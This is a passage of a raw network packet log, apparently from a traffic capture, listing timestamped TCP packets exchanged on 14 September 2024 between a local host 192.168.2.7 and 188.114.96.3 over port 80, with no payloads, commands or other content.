Sep 14, 2024 18:44:28.328962088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328979015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328988075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.328995943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.329022884 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.329068899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.329083920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.329099894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.329125881 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.329143047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.329157114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.329171896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.329207897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.329238892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.329266071 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.329282045 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.329643965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.329655886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.329668999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.329760075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.329772949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.329781055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.329830885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.329864025 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.329935074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.329952002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.329966068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.329996109 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.330029011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330044031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330058098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330065012 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.330075026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330090046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330113888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330128908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330133915 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.330133915 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.330161095 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.330198050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330310106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330323935 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330338001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330353975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330367088 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.330367088 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.330369949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330385923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330404043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330465078 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.330569983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330584049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330599070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330612898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330624104 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.330624104 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.330629110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330645084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330657959 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.330660105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330678940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330684900 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.330718994 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.330890894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330904961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330919027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330933094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330945015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.330948114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330970049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.330972910 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.330986023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331001043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331006050 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.331017017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331032038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331043959 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.331054926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331067085 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.331070900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331105947 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.331165075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331216097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331231117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331254959 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.331283092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331320047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.331343889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331360102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331367970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331377029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331450939 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.331562042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331576109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331589937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331604958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331619024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331626892 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.331635952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331648111 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.331651926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331676960 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.331752062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331768036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331782103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331794024 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.331799984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331815004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331821918 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.331831932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331852913 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.331933022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331948042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331962109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.331970930 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.331985950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.332000971 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.332009077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.332024097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.332039118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.332042933 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.332055092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.332067966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.332075119 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.332083941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.332098007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.332108974 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.332137108 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.332310915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.332326889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.332340956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.332355976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.332364082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.332371950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.332392931 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.333306074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.388099909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.388154030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.388186932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.388219118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.388251066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.388281107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.388314962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.388346910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.388484955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.388545036 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.414988995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415028095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415043116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415139914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.415162086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415178061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415194035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415209055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415211916 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.415226936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415237904 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.415256977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415271044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415319920 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.415335894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415335894 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.415352106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415405989 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.415417910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415432930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415446997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415472031 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.415688992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415740013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415745020 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.415755033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415792942 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.415818930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415833950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415915012 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.415942907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415958881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415978909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415993929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.415996075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.416009903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.416023970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.416033030 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.416069031 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.416078091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.416093111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.416107893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.416121006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.416131020 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.416156054 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.416546106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.416594982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.416609049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.416639090 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.416717052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.416732073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.416747093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.416762114 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.416768074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.416784048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.416815042 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.416846037 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.416860104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.416873932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.416889906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.416903973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.416918993 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.416925907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.416937113 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.417157888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417172909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417187929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417210102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417224884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417239904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417248964 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.417256117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417270899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417273998 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.417289972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417304993 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.417304993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417323112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417339087 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.417359114 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.417443037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417457104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417545080 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.417558908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417573929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417589903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417603970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417623043 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.417627096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417644024 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.417644024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417659998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417675018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417685032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.417690992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417705059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417712927 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.417721033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417737007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417751074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417753935 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.417768002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.417774916 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.417954922 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.417999983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418014050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418073893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418087959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418168068 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.418168068 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.418188095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418204069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418219090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418234110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418250084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418250084 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.418286085 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.418385983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418401003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418416023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418433905 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.418437958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418453932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418458939 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.418468952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418483973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418495893 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.418557882 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.418649912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418667078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418682098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418697119 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418711901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418718100 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.418728113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418744087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418775082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.418795109 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.418883085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418898106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418911934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418935061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418936968 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.418950081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.418962002 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.419020891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.419024944 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.419037104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.419051886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.419068098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.419078112 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.419089079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.419106960 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.419230938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.419245958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.419260979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.419275045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.419284105 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.419290066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.419303894 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.419363976 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.474890947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.474922895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.474937916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.474952936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.474967003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.474982977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.474997997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.475009918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.475091934 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.475145102 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.501890898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.501961946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502013922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502047062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502080917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502151012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502187014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502221107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502254009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502283096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502315044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502335072 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.502348900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502382040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502392054 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.502417088 CEST	80	54891	188.114.96.3	192.168.2.7
